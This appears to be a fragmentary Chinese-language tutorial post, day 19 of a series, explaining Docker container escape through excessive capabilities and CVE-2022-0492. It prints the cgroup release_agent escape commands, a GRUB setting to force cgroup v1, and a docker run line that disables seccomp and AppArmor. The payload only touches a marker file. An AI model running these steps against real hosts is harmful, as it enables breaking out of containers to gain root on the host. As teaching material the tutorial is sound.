「當你的生活遇到瓶頸時,你知道該怎麼做嗎?繼續向前游就對了。」-《海底總動員》
第19天要針對容器逃逸第一類手法 - Docker 設定不當來進行手法說明。這次的解說會包含攻擊手法以及逃逸相關漏洞的說明,該漏洞的編號為 CVE-2022-0492,相關資訊如下。
漏洞相關資訊
說明逃逸背景
複習一下容器逃逸的手法大致分為三類,這三類手法難易程度依序越來越難,分別如下 :
第一類的手法通常透過給予容器所有的 Capability,即這個容器的 ROOT 帳號與宿主機的 ROOT 的權限一致時,就可以透過各種花式手法進行容器逃逸,而這部分會是這次主要介紹的逃逸手法。
逃逸手法的起手式通常都是因為權限過高而進行掛載,接下來就會分為兩類,間接或是直接取得控制權。
步驟如下 :
Device Start End Sectors Size Type
/dev/sda1 2048 4095 2048 1M BIOS boot
/dev/sda2 4096 1054719 1050624 513M EFI System
/dev/sda3 1054720 104855551 103800832 49.5G Linux filesystem
逃逸步驟如下 :
步驟如下 :
GRUB_CMDLINE_LINUX="systemd.unified_cgroup_hierarchy=0"
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgroup/release_agent
echo '#!/bin/sh' > /cmd
echo "touch /tmp/pwned" >> /cmd
chmod a+x /cmd
CVE-2022-0492 回家作業 :
docker run --rm -it --security-opt="seccomp=unconfined" --security-opt="apparmor=unconfined" ubuntu bash